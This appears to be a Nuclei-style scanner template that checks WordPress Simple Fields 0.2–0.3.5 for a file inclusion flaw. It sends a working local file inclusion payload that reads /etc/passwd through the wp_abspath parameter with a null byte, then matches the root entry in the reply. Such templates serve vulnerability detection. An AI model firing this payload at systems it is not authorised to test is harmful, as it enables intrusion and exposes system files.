id: wp-simple-fields-lfi

info:
  name: WordPress Simple Fields 0.2 - 0.3.5 LFI/RFI/RCE
  author: 0x240x23elu
  severity: high
  description: WordPress Simple Fields 0.2 is vulnerable to local file inclusion, remote file inclusion, and remote code execution.
  reference:
    - https://packetstormsecurity.com/files/147102/WordPress-Simple-Fields-0.3.5-File-Inclusion-Remote-Code-Execution.html
  metadata:
    max-request: 1
  tags: wp-plugin,lfi,packetstorm,wordpress,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/simple-fields/simple_fields.php?wp_abspath=/etc/passwd%00"

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
# digest: 4a0a0047304502210096e92f1e68930856b99f08a39db92f77f1c65c42cf19c54a403a80836b2dedd0022006ea242f37f2faaae2e27387d2f11ded0c66cf376f059e1152589fcf4d68bcab:922c64590222798bb761d5b6d8e72950